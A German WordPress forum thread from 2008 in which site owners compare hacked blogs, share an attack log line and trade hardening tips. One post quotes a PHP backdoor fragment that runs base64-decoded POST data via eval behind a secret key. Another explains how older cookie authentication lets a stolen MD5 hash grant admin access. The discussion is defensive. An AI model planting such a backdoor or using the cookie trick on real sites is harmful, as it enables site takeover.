Gemeinsamkeiten zwischen geknackten WP-Blogs

  • Also bei mir, was das Passwort betrifft, jedenfalls nicht. Ich schließe mich daher eher der Vermutung an, dass das Cookie ausspioniert wurde. Wie genau, ist jedoch noch unklar.

    Cookie ausspionieren ist eine relativ leichte Sache. In diesem Ticket auf trac.wordpress.org ist erleutert, wie einfach ein Angreifer auf älteren WP-Installationen "Sesam öffne Dich" bekommt. Anscheinend braucht er dazu nicht das Passwort zu kennen, sondern muss nur den MD5-Hash des gespeicherten Passworts kennen - und der steht in der Datenbank. Wenn man nun eine SQL-injection Anfälligkeit durch eine ältere WP Version oder ein Plugin hat, genügt ein Read-Only Zugriff eines Angreifers um an die Zugänge zu gelangen. Ebenfalls beliebtes Türchen sind übers Web erreichbare Dumps der Datenbank (zb im wp-content/backup Verzeichnis).
    Da die alte Cookie Authentifizierung nach md5(md5(passwort)); schaut, ist es ein Leichtes, die Tür aufzumachen - unahängig davon, wie komplex das Passwort gewählt ist, da nicht das Passwort, sondern nur der MD5-Hash des Passwortes gebraucht wird.
    Betrifft wohl alle Versionen bis 2.3.1.

    • Anzeige

    Hallo!

    Wenn du gerade an deiner Website arbeitest oder dein aktuelles Hosting überdenkst: Wir betreiben mit NetzLiving eine Hosting-Plattform, die speziell auf Performance, Sicherheit und einfache Verwaltung ausgelegt ist.

    • ✔️ Schnelle Ladezeiten (optimiert für WordPress & Co.)
    • ✔️ Deutsche Server & DSGVO-konform
    • ✔️ Persönlicher Support (kein 0815-Ticket-System)

    Mehr erfahren

  • Das gibt's doch nicht. :? Ich weiß nicht, ob dies dasselbe Problem ist wie das der anderen Poster hier, aber schon wieder fand sich in meiner wp-includes/default-filters.php ein Filter-Eintrag.


    Diese Links sehen nur SuMa-Bots, wie man aus dem Code ablesen kann.

    Ist dies bei den Betroffenen hier ebenso der Fall? Bei mir scheint es zumindest nicht das Passwort zu sein, sondern "nur" ein Problem, das mir dauernd die wp-includes/default-filters.php geändert wird (CHMOD 644). :|

    Zum entsprechenden Zeitpunkt bbefindet sich in den Logs folgender Eintrag:

    Zitat

    194.110.162.23 - - [24/Mar/2008:04:09:37 +0100] "POST /xmlrpc.php?4e505c7c0a7a677f=4c4bd1b268f0ea2d HTTP/1.1" 200 7575 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3"

    wpseek.com - Die WordPress-Code-Suchmaschine

    Einmal editiert, zuletzt von Alphawolf (28. März 2008 um 10:26)

  • schau mal hier: WordPress › Support » 2.3.1 vulnerability
    das scheint das gleiche problem zu sein.


    Ich nutze natürlich 2.3.3. Hatte das selbe Problem vor ein paar Monaten schon einmal (wiederholt), und habe diese Vorgehensweise schon öfters ausgeführt: Fixes wordpress.net.in Spam footer Injection Infected by Goro class-mail.php and default-filters.php backdoor » By Avice De'veréux » WordPress, injection, vulnerability

    Habe jetzt zusätzlich das wp-includes/ auf 710 gestellt (war vorher 755; Standard des Hosters für Ordner) und die default-filters.php auf 640 (alternativ 444). Die Datei class-mail.php, die es in WP nicht gibt, habe ich geleert, und die Rechte auf 000 gesetzt, sodass man sie zumindest nicht mehr erstellen bzw. bearbeiten kann.

    Ich suche mal in den Tickets, denn offenbar gibt's diesen Hack seit WP 2.1.1 (wie in deinem Thread jemand anmerkt), ob dies mit WP 2.5 endlich gefixt wurde.

    wpseek.com - Die WordPress-Code-Suchmaschine

  • Die Datei class-mail.php, die es in WP nicht gibt, habe ich geleert, und die Rechte auf 000 gesetzt, sodass man sie zumindest nicht mehr erstellen bzw. bearbeiten kann.

    hi, hast du noch eine kopie dieser datei?
    mich würde interessieren, was darin steht, gerade auch im zusammenhang mit dem post request an die xmlrpc.php,

    Code
    xmlrpc.php?4e505c7c0a7a677f=4c4bd1b268f0ea2d

    den du weiter oben gepostet hattest.

    ich habe ein wenig herumgegoogelt, und im zusammenhang damit so etwas gefunden:

    PHP
    if($_GET['476cec30ae48ed13']=="1682480ecf14ff65"){
        eval(base64_decode($_POST['file']));
        exit;
    }

    ... das könnte darauf hinweisen, das irgendwie die xmlrpc.php evtl diese datei als $_POST['file'] untergeschoben bekommt, wegen des evals() gehe ich davon aus, dass der inhalt von $_POST['file'] aber ausführbarer php-code ist...

  • Sagt mal, in irgendeinem von den oben verlinkten Beiträgen wird empfohlen, die Namen der Cookies zu ändern. Die entsprechenden Stellen befinden sich in der "wp-settings.php", und es mag durchaus sein, dass man mit Kenntnis der Standardnamen Unsinn machen könnte.

    Gäbe es Probleme, wenn ich die Namen bspw so ändere:

    Code
    if ( !defined('USER_COOKIE') )
    //  define('USER_COOKIE', 'wordpressuser_' . COOKIEHASH);
        define('USER_COOKIE', 'wpu' . md5(uniqid(rand())) . '_' . COOKIEHASH);

    Ob jetzt MD5 sicher ist oder nicht, der Name ist nicht mehr vorhersehbar. Man kann auch den Präfix "wpu" weglassen. Ein kleiner lokaler Test hat keine Probleme ergeben. Aber manchmal gibt es ja Stolperfallen, an die man so nicht denkt.

    Das müsste man bei PASS_COOKIE und AUTH_COOKIE auch machen.
    Ideen? Kritik?


    Habe gerade selbst etwas gefunden. Wenn man alle 3 Cookie so benennt, kann man sich nicht mehr anmelden. Also, das muss ich noch mal genauer prüfen. ;)

    Einmal editiert, zuletzt von msi (29. März 2008 um 21:03)

  • Hallo zusammen

    Könnte man nicht den Externen zugriff aus die Verzeichnisse wie zb. wp-includes mit einer .htaccess Datei Verwehren so das nur der Server (localhost) drauf zugreifen kann.

    so müsste dann die .htaccess Aussehen

    Code
    order deny,allow
    deny from all
    allow from localhost 127.0.0.1



    mfg
    DerEine

    Einmal editiert, zuletzt von DerEine (30. März 2008 um 01:42)

  • Abgesehen davon, daß ich kaum mehr irgendwo kommentieren darf (nicht einmal in meinem eigenen Blog) ohne im Spamfilter zu landen, habe ich bislang Ruhe.

    Meine Theorie ist folgende: Als ich WP 2.3.2 laufen hatte, hat jemand über die Sicherheitslücke in der xmlrpc.php mein Administrator-Cookie geklaut.

    Nach dem Update auf 2.3.3 war das zwar wohl nicht mehr möglich. Nachdem aber auch danach erneut Artikel manipuliert wurden, nehme ich an, daß dies mit dem geraubten Cookie weiterhin ging.

    Inzwischen habe ich alle User gelöscht und ein neues Administrator-Konto angelegt. Seitdem ist zumindest lokal Ruhe eingekehrt.

    Daß es so bleibt, kann ich nur hoffen, weil außer den Saboteuren niemand wirklich zu wissen scheint, wo der Fehler im System liegt.

    Version 2.5 zu installieren, wage ich bislang nicht. Schon jetzt reichen die Entwickler mehrere Sicherheits-Patches nach, die Lücken stopfen sollen, die erst durch die neue Version aufgerissen wurden. Das gegenwärtige Problem scheint ihnen dabei nicht einmal bekannt zu sein.

    Immerhin listet Google inzwischen schon 40.600 sabotierte WordPress-Installationen.

  • Vermutlich weiß man eben noch nicht, ob der Fehler in WP liegt, oder ob das von einem Plugin verursacht wird. In der letzten Revision (7599, 2.6bleeding) wurde bspw die "xmlrpc.php" ausgetauscht.

    Man könnte das Problem eingrenzen, wenn einfach alle mal die ganzen Plugins deaktivieren und die Kommentarfunktion vorübergehend auf "moderieren" stellen. Du brauchst kein Antispam-Plugin, wenn du die Kommentare sowieso freischalten musst. Man kann vorübergehend auch sicher auf den ganzen Schnickschnack (Lightbox, Thickbox, NGG, usw.) verzichten. Und ob man bei Google weit vorn gelistet ist oder nicht, sollte eigentlich hinter dem größeren Interesse der Sicherheit zurückstehen. Meine Meinung!

    Wird dann die Lücke wieder ausgenutzt, und wird dann wieder dieser Ordner "wp-content/1" angelegt, dann kann man das Problem auf WP eingrenzen.
    Vorausgesetzt, man hat den Blog vorher gesäubert, die Datei- und Verzeichnisrechte passend gesetzt, usw.

  • Askimet zu deaktivieren ist keine Lösung ( Du spammer?) Askimet blockiert bei mir um die 1000 spams pro Tag, die alle manuell zu moderieren wäre Wahnsinn.:roll:

  • Askimet zu deaktivieren ist keine Lösung ( Du spammer?)


    Auf die Unterstellung in Klammern fällt mir eigentlich nur ein Schimpfwort ein. :evil:Ich habe Akismet bei mir deaktiviert. Vllt ist mein Blog nicht interessant genug, weil ich von Spam verschont bleibe. Und das ist auch OK, denn was bringt es mir, bei Google auf den vorderen Plätzen zu rangieren? Richtig. Nix!

    Außerdem mag ich Akismet nicht, weil der Kommentar von interessierten Leuten mit einem mir unbekannten Server abgeglichen wird. Was sonst noch passiert (wer liest es ggf? wird es gespeichert?) entzieht sich komplett meiner Kontrolle. Es gibt bessere Tools, um sich vor Spam zu schützen.

  • weil der Kommentar von interessierten Leuten mit einem mir unbekannten Server abgeglichen wird.

    Sorry und nicht schimpfen, kannst mir nebenbei andere tools empehlen.
    Ich vermute askimet markiert auch viele meine coments unter spam aber so viele zu kontrolieren mach mich verrückt. was ist das was du mir abgeglcihen meinst?

    gruss:-D

  • was ist das was du mir abgeglcihen meinst?


    Der Kommentar, den dir jemand schreibt, wird an einen Server gesendet und dort auf typische Merkmale von Spam hin untersucht. Würde Akismet das lokal machen, brächte es eine enorm große Erkennungsdatei (ähnlich Virenscannern) mit. Ich möchte den Entwicklern von Akismet nichts unterstellen, aber ein schlechtes Gefühl habe ich dennoch. Und wir erinnern uns doch, wie groß das Geschrei bei WP 2.3.3 war. Das gleiche Thema: Blog- und Pluginupdates sind eine gute Sache, aber wozu muss die Adresse übertragen werden?


    bzgl Spam gab es mal einen interessanten Vorschlag. Du kennst Captchas und diese "Rechne X und Y aus"-Eingabeboxen? Es ist bekannt, dass Spambots auf alle möglichen Checkboxen klicken, die sie in einem Formular finden. Nimm so eine Checkbox und mache sie via "display:none;" unsichtbar, so dass sie der normale Benutzer gar nicht sehen und anklicken kann. Führe den Gedanken für Bots fort. :mrgreen:

    Ich muss noch mal gucken, wo das Prinzip beschrieben war. Ich fand das grandios.

  • Ja, das mit der Checkbox funktioniert bei mir ganz gut. Ich habe aber bisher die Erfahrung gemacht, das Spambots die eher nicht "anklicken".
    Für den normalen Nutzer wird die Checkbox per Javascript angehakt und unsichtbar gemacht, so bemerkt er die nicht mal. Falls er kein Javascript aktiv hat, sieht er sie und kann sie selbst anklicken.
    Nachtrag: Mit einer Kombination aus beiden Varianten könnte man sogar beide Botarten "erschlagen", die die alles "anklicken" und die die nichts "anklicken". Und das ohne den normalen Anwender zu belästigen. Ich werde das bei mir mal einbauen...


    Gruß
    Ingo

    Wenn ich helfen konnte, bitte [ Gefällt mir ] klicken. :-)

    Einmal editiert, zuletzt von Putzlowitsch (4. April 2008 um 15:44)

Jetzt mitmachen!

Sie haben noch kein Benutzerkonto auf unserer Seite? Registrieren Sie sich kostenlos und nehmen Sie an unserer Community teil!